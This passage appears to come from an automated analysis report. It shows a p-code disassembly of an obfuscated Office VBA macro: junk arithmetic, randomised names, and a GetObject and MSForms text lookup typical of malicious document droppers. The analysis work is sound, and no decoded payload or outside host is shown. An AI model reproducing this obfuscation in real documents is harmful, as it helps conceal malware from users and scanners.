' 	Div 
' 	Add 
' 	St z_ABAD 
' Line #36:
' 	EndIfBlock 
' Line #37:
' 	SetStmt 
' 	Ld oAQCXU1c 
' 	MemLd GetObject 
' 	MemLd Text 
' 	Ld MSForms 
' 	MemLd wAAG1Bk 
' 	Add 
' 	Ld oAQCXU1c 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd rAGoAA 0x0001 
' 	Set fokAABA 
' Line #38:
' 	Ld fXAZxGo 
' 	Ld qAUQ4BUD 
' 	Eq 
' 	IfBlock 
' Line #39:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld pACAACwA 
' 	LitDI4 0xFFED 0x1B09 
' 	ArgsLd Rnd 0x0001 
' 	Ld JcAQQD 
' 	Div 
' 	Sub 
' 	Ld X4DADAG 
' 	LitDI4 0x801E 0x1FDC 
' 	Coerce (Dbl) 
' 	Add 
' 	Ld zoAZAAB 
' 	LitDI4 0x12C6 0x2133 
' 	Coerce (Bool) 
' 	Mul 
' 	Sub 
' 	FnFix 
' 	Sub 
' 	LitDI4 0x3DCB 0x16B3 
' 	LitDI4 0xB435 0x25C0 
' 	LitDI4 0xE98B 0x09A8 
' 	Div 
' 	LitDI4 0xED0C 0x11FD 
' 	LitDI4 0x29B8 0x0CB7 
' 	Coerce (Str) 
' 	Mul 
' 	Add 
' 	ArgsLd Log 0x0001 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld SZGXU_ 
' 	Ld d_1QxBk1 
' 	LitDI4 0x8DE8 0x3B5A 
' 	ArgsLd Atn 0x0001 
' 	Ld ZAGAQDkD 
' 	Div 
' 	LitDI4 0x2900 0x2068 
' 	Mul 
' 	Add 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Add 
' 	St dD_ADG 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	Ld joBUAUAk 
' 	Ld X4QZA1w 
' 	Eq 
' 	IfBlock 
' Line #42:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld zU1DAAwQ 
' 	LitDI4 0x3273 0x19F7 
' 	Coerce (Bool) 
' 	Ld vAUUQD 
' 	Div 
' 	Sub 
' 	Ld Y1QGAQBB 
' 	LitDI4 0x313A 0x1A94 
' 	ArgsLd Atn 0x0001 
' 	Add 
' 	Ld OUDQXXA 
' 	LitDI4 0xE142 0x384F 
' 	Coerce (Int) 
' 	Mul 
' 	Sub 
' 	Coerce (Sng) 
' 	Sub 
' 	LitDI4 0x802C 0x2EFB 
' 	LitDI4 0x64A0 0x1599 
' 	LitDI4 0x11F4 0x28EF 
' 	Div 
' 	LitDI4 0xD100 0x33DC 
' 	LitDI4 0x2F77 0x0D5F 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Date) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld ixAXAQDw 
' 	Ld TZZAAA 
' 	LitDI4 0xBA7B 0x14C2 
' 	FnInt 
' 	Ld uCAA1QU 
' 	Div 
' 	LitDI4 0xA3BB 0x0FA9 
' 	Mul 
' 	Add 
' 	Coerce (Str) 
' 	Div 
' 	Add 
' 	St wA1wUA 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	Ld Q_DcAZ 
' 	Ld woA4AG 
' 	Eq 
' 	IfBlock 
' Line #45:
' 	LineCont 0x0014 03 00 00 00 0B 00 00 00 0F 00 00 00 1F 00 00 00 30 00 00 00
' 	Ld ABAAZAwG 
' 	LitDI4 0xAD70 0x360B 
' 	ArgsLd Log 0x0001 
' 	Ld RkAZXA_A 
' 	Div 
' 	Sub 
' 	Ld V4c4cUB 
' 	LitDI4 0x0983 0x2F07 
' 	Coerce (Str) 
' 	Add 
' 	Ld LB4A11 
' 	LitDI4 0x49B3 0x3A56 
' 	Coerce (Bool) 
' 	Mul 
' 	Sub 
' 	Coerce (Str) 
' 	Sub 
' 	LitDI4 0xEBB3 0x261A 
' 	LitDI4 0xB004 0x278D 
' 	LitDI4 0x5703 0x377D 
' 	Div 
' 	LitDI4 0xC8A7 0x2485 
' 	LitDI4 0x4008 0x1A74 
' 	ArgsLd Hex 0x0001 
' 	Mul 
' 	Add 
' 	Coerce (Lng) 
' 	Add 
' 	Paren 
' 	Add 
' 	Ld iQU_AcQ 
' 	Ld iAAAXAAB 
' 	LitDI4 0x623D 0x3245 
' 	FnInt 
' 	Ld ICxQDAAX 
' 	Div 
' 	LitDI4 0xC57B 0x3221 
' 	Mul 
' 	Add 
' 	ArgsLd Sqr 0x0001 
' 	Div 
' 	Add 
' 	St fXZA1_CA 
' Line #46:
' 	EndIfBlock 
' Line #47:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #48:
' 	Ld qUDxBAc1 
' 	Ld mADAoC 
' 	Eq 
' 	IfBlock 
…

Open this report in the interactive analyzer, or submit your own file for analysis.